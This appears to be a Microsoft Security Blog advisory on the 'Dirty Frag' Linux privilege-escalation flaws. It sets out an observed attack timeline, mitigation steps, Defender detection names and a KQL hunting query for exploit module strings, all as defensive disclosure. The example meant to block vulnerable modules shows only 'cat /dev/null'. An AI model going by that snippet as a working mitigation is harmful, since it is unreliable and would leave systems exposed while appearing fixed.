Microsoft Defender is currently seeing limited in-the-wild activity where privilege escalation involving ‘su’ is observed, and which may be indicative of techniques associated with either “Dirty Frag” or “Copy Fail”.

The campaign shows a sequential attack timeline where an external connection gains SSH access and spawns an interactive shell, followed by staging and execution of an ELF binary (./update) that immediately triggers a privilege escalation via ‘su’.

After gaining elevated access, the actor modifies a GLPI LDAP authentication file (evidenced by a .swp file from vim), performs reconnaissance of the GLPI directory and system configuration, and inspects an exploit artifact. The activity then shifts to accessing sensitive data and interacting with PHP session files — first deleting multiple session files and then forcefully wiping additional ones — before reading remaining session data, indicating both disruption of active sessions and access to session contents.

Mitigation guidance

The Linux Kernel Organization released patches, which are linked at the National Vulnerability Database (NVD), to fix CVE-2026-43284 on May 8, 2026. Customers who have not applied these patches are urged to do so as soon as possible. As of May 8, 2026, patches for CVE-2026-43500 are not available. CVE-2026-43500 is reportedly reserved for the RxRPC issue but is not yet published in NVD.

While comprehensive remediation guidance continues to evolve, organizations should evaluate interim mitigations immediately.

Recommended actions include:

  • Disable unused rxrpc kernel modules where operationally possible
  • Assess whether esp4, esp6, and related xfrm/IPsec functionality can be temporarily disabled safely
  • Restrict unnecessary local shell access
  • Harden containerized workloads
  • Increase monitoring for abnormal privilege escalation activity
  • Prioritize kernel patch deployment once vendor advisories are released

The following example prevents vulnerable modules from loading and unloads active modules where possible:

cat /dev/null

These mitigations should be carefully evaluated before deployment, particularly in environments relying on IPsec VPNs or RxRPC functionality.

Post-mitigation integrity verification

Mitigation alone may not reverse changes already introduced through successful exploitation attempts.

If exploitation occurred prior to mitigation, malicious modifications may persist in memory or cached file content even after vulnerable modules are disabled. Organizations should validate the integrity of critical files and assess whether cache clearing is appropriate for their environment.

echo 3 | sudo tee /proc/sys/vm/drop_caches

Cache clearing can temporarily increase disk I/O and impact production performance and should be evaluated carefully before deployment.

Microsoft Defender coverage

Microsoft Defender XDR customers can refer to the following list of applicable detections below that provides coverage for behaviors surrounding “Dirty Frag” exploitation.

Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

Tactic Observed activity Microsoft Defender coverage 
Execution Exploitation of “Dirty Frag” Microsoft Defender Antivirus  
-  Exploit:Linux/DirtyFrag.A 
– Trojan:Linux/DirtyFrag.Z!MTB 
– Trojan:Linux/DirtyFrag.ZA!MTB 
– Trojan:Linux/DirtyFrag.ZC!MTB 
– Trojan:Linux/DirtyFrag.DA!MTB 
– Exploit:Linux/DirtyFrag.B 

Microsoft Defender for Endpoint 
– Suspicious SUID/SGID process launch 

Microsoft Defender for Cloud 
– Potential exploitation of dirtyfrag vulnerability detected 

Microsoft Defender Vulnerability Management
– Microsoft Defender Vulnerability Management surfaces devices vulnerable to “Dirty Frag” which are linked to the following CVEs:

CVE-2026-43284
CVE-2026-43500
CVE-2026-46300

Advanced hunting query

Customers can use this advanced hunting query to surface possible exploitation.

let fragnesia = DeviceProcessEvents
| where Timestamp >= ago(1d)
| where ProcessCommandLine has "fragnesia"
| distinct DeviceId
;
let lpeModuleTerms = dynamic(["algif-skcipher","net-pf-38","crypto-seqiv(rfc4106(gcm(aes)))","xfrm-type-10-50"]);
DeviceProcessEvents
  | where Timestamp >= ago(1d)
  | where DeviceId in (fragnesia)
  | where ProcessCommandLine has_any (lpeModuleTerms)
  | distinct DeviceId

Microsoft Defender Threat Intelligence

Microsoft Defender Threat Intelligence published a threat analytics article and a vulnerability profile for this vulnerability

Microsoft Defender Antivirus

  • Exploit:Linux/DirtyFrag.A
  • Exploit:Linux/DirtyFrag.B
  • Trojan:Linux/DirtyFrag.Z!MTB
  • Trojan:Linux/DirtyFrag.ZA!MTB
  • Trojan:Linux/DirtyFrag.ZC!MTB
  • Trojan:Linux/DirtyFrag.DA!MTB

Microsoft Defender for Cloud

  • Potential exploitation of dirtyfrag vulnerability detected

Microsoft continues investigating additional detections, telemetry correlations, and posture guidance related to Dirty Frag activity.

Further investigation is being conducted by Microsoft Defender towards providing stronger protection and posture recommendations is in progress.

References

Read about CopyFail (CVE-2026-31431), including mitigation and detection guidance here: https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/

The post Active attack: Dirty Frag Linux vulnerability expands post-compromise risk appeared first on Microsoft Security Blog.

❌